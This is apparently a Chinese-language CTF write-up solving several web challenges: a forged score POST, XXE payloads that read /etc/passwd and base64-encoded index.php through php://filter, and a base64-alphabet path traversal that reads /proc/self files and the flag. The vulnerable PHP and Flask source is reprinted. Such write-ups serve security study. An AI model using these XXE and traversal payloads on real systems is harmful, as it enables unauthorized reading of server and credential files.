0x01 Game
这题迷得很,查看下一下js,按着ajax发送请求得条件自己发一个请求就好了
payload:
1 2
| /socre.php POST:score=15
|
0x02 who_are_you
XXE的题目,没有任何限制,直接任意文件读取……
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
|
可以读到passwd的信息,所以主要就是找到flag就好了,最后是在index.php里找到了flag,由于php文件里有<等特殊字符,所以利用file协议读的时候会出现解析错误导致没有回显,所以换一个编码的协议读就好了比如php://filter
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]> <root> <name>&xxe;</name> </root>
|
index.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <?php libxml_disable_entity_loader(false); $data = @file_get_contents('php://input'); $resp = '';
if($data != false){ $dom = new DOMDocument(); $dom->loadXML($data, LIBXML_NOENT); ob_start(); $res = $dom->textContent; $resp = ob_get_contents(); ob_end_clean(); if ($res){ die($res); }
} ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>welcome</title> <link rel="stylesheet" href="./style.css"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge">
</head> <body class="contactBody"> <div class="wrapper"> <div class="title">
</div>
<form method="post" class="form"> <h1 id="title">请输入姓名</h1> <br/> <br/> <br/> <input type="text" class="name entry " id="name" name="name" placeholder="Your Name"/> </form> <button class="submit entry" onclick="func()">Submit</button>
<div class="shadow"></div> </div>
</body> </html> <script type="text/javascript"> function play() { return false; } function func() { var xml = '' + '<\?xml version="1.0" encoding="UTF-8"\?>' + '<feedback>' + '<author>' + document.getElementById('name').value+ '</author>' + '</feedback>'; console.log(xml); var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4) { var res = xmlhttp.responseText; document.getElementById('title').textContent = res } }; xmlhttp.open("POST", "index.php", true); xmlhttp.send(xml); return false; }; </script> </body> </html>
|
0x03 show_me_your_image
主要思路就是上传文件,上传文件后。文件名会被编码,多测几次就可以发现是一个变表的base64编码,base64编码是固定3个字符编码为固定的4个字符,题目的还有一个点就是任意文件读取,name参数后跟任意文件的变表编码的值,所以根据上传的文件名进获取对应的编码,所以上传的文件名需要构造,文件名的长度需要是3的倍数才能确定最后的文件名,并且随便输入的报错信息不是apache+php的,最后才确定是一个Flask模拟的php,骗人用的~
所以现在讲下具体操作步骤:
- 设置要读的文件(比如要读的是passwd文件),设置上传的文件名为’../.././/etc/passwd’(测试可以发现是2层目录,长度要是3的倍数)
- 分段进行上传,收集各段的编码后的字符进行拼接,比如axb8axb8axnVSml8jmNBjUS9
- 访问img.php?name=[文件编码后的编码]就可以读取到相应的文件
所以接下来就是找flag的路径,由于我们不知道各个文件的路径,所以用/proc/self/来仅需读取
1 2
| ../../././proc/self/cmdline
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| ../.. ##################################### import os from urllib import parse from base64 import b64decode, b64encode from utils import r_encode, r_decode, read_file from flask import render_template, Response from flask import Flask, session, redirect, request from werkzeug.utils import secure_filename
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
UPLOAD_FOLDER = '/tmp/uploads/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'} app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS
@app.route('/') @app.route('/index.php') def home(): file = session.get('file') if file: file = bytes.decode(file) file = parse.quote(file) return render_template('index.html', file=file)
@app.route('/upload.php', methods=['POST']) def upload(): if request.method == 'POST': file = request.files['file'] if file and allowed_file(file.filename): if not os.path.exists(app.config['UPLOAD_FOLDER']): os.makedirs(app.config['UPLOAD_FOLDER']) filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) else: return "不允许的格式" session['file'] = r_encode(b64encode(str.encode(file.filename))) return redirect('/')
@app.route('/img.php', methods=['GET']) def img(): file = request.args.get("name") file = r_decode(str.encode(file)) file = b64decode(file) file = UPLOAD_FOLDER + bytes.decode(file) image = read_file(file) return Response(image, mimetype="image/jpeg")
if __name__ == '__main__': app.run( host = '0.0.0.0', port = 80, )
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| ../../././proc/self/cwd/templates/upload.html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> <table> <tr> <td> 上传图片 </td> <td> <input type="file" name="file">
</td> </tr> </table> <input type="submit" value="上传"> </form> {% if file %} <img src="img.php?name={{ file }}"> {% else %} 请上传一张图片 {% endif %} </body> </html>
|
所以flag在/root/flag.txt下了最后利用
1
| ../.././proc/self/root/root/flag.txt #读flag
|
0x04 按F注入
fbctf2019题目的修改题,目前只做到了回显数据库信息,还没读到flag,等复现完再写
参考:https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md